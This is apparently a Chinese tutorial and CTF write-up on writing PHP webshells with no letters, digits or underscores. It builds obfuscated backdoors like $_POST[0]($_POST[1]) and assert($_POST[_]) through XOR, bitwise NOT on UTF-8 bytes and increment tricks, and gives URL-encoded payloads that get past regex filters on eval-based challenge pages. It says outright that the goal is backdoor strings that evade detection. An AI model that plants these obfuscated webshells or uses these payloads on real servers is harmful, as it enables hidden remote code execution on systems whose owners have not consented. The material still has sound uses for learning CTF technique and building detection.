首先要了解一下php中异或的用法
先看以下代码
<?php
echo "A"^"?";
?>
运行结果
图片.png
我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?php
function B(){
echo "Hello world";
}
$_++;
$__= "?" ^ "}";
$__();
?>
图片.png
我们一起来分析一下上面这段代码:
$_++;
这行代码的意思是对变量名为"_"
的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
$__="?" ^ "}";
对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
$ __ ();
通过上面的赋值操作,变量\$__
的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello world。在PHP中,我们可以将字符串当作函数来处理。
看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
在这里我说明下,.=是字符串的连接,具体参看php语法
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
不用数字和字母写shell的一道实例:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
payload
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里的"`{{{"^"?<>/"是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
把_当作参数传进去执行getFlag()
①构造_GET读取
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?php
echo "`{{{"^"?<>/";//_GET
?>
这段代码是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号 和Linux下面的通配符?
? 代表匹配一个字符
` 表示执行命令
" 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看
<?php
echo "{"^"<";
?>
输出为G
<?php
echo "{"^">";
?>
输出为E
<?php
echo "{"^"/";
?>
输出为T
所以_GET就是这么被构造出来的
②获取_GET参数
如何获取呢?咱们可以构造出如下字串:
<?php
echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
③传入参数
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:
<?php
echo $_=getFlag;//getFlag
?>
所以把参数全部连接起来,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里在本地搭了一个。。
image.png image.png
可见命令能执行成功。。
不用数字,字母和下划线写shell的实例
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
下划线都不给,意味着不能定义变量,而且也构造不出来数字。这是大佬给的payload,+号必须加引号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51个字符太长了,所以这里可以用简短的写法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不过这样不能成功。
大佬给出了解释:eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码
例如:
eval($_GET['b'])
url里面 b=phpinfo();
这时候相当于eval('phpinfo();')
eval($_GET['b'])
url里面b=$_GET[c]&c=phpinfo();
相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag();
,也就是eval('$_GET['+'])
并不会执行getFlag();
正确的payload为
${"`{{{"^"?<>/"}['+']();&+=getFlag
这里利用了${}
中的代码是可以执行的特点,其实也就是可变变量。
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>
输出:hello world
${$a}
,括号中的$a
是可以执行的,变成了hello。
payload中的{}也是这个原理,{}中用的是异或,^
在{}中被执行了,也就是上面讲的”`{{{“^”?<>/”执行了异或操作,相当于_GET。
最后eva函数拼接出了字符串$_GET['+']()
;,然后传入+=getFlag,最后执行了函数getFlag();
大佬给出的payloadhttp://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
这里用的是取反
~在{}中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}
取反相当于$_GET
。
跟上面的payload一个原理,拼接出了$_GET['+']();
,传入+=getFlag()从而执行了函数。
还有一种拼接的payload
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
image.png
原理大同小异,$啊=getFlag;$啊();
,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。
PHP中取反(~)的概念
来看一个汉字”和”
print("和".encode('utf8'))
b'\xe5\x92\x8c'
print("和".encode('utf8')[2])
140
print(~"和".encode('utf8')[2])
-141
“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样
结果会输出: ss
不用数字构造出数字
利用了PHP弱类型特性,true的值为1,故true+true==2。
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
结果会输出:2 1
在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。
<?php
$_++;
print($_);
?>
结果会输出:1
不用数字和字母的 shell
在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell']))
{ eval($_GET['shell']);}
思路
将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 "assert",然后动态执行即可。
非字母、数字的字符异或出字母
不可打印字符,用 url 编码表示。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
还可以用更短的字符,下面会用到。
"`{{{"^"?<>/"//_GET
^ 会对两边对应的字符串进行异或。
非字母、数字的字符取反出字母
利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法 ${~"\xa0\xb8\xba\xab"} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。
递增/递减运算符
这种方法很明显的缺点就是需要大量的字符。
image也就是说,'a'++ => 'b'
,'b'++ => 'c'
... 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
:
<?php
echo ' '.[]
?>
image.png
再取这个字符串的第一个字母,就可以获得'A'了。
参考:
https://www.liuxianglai.top/?p=145
https://blog.csdn.net/weixin_42665043/article/details/82142242
http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.aqbeta.com/data/201808/153380340813497.html?tdsourcetag=s_pctim_aiomsg
网友评论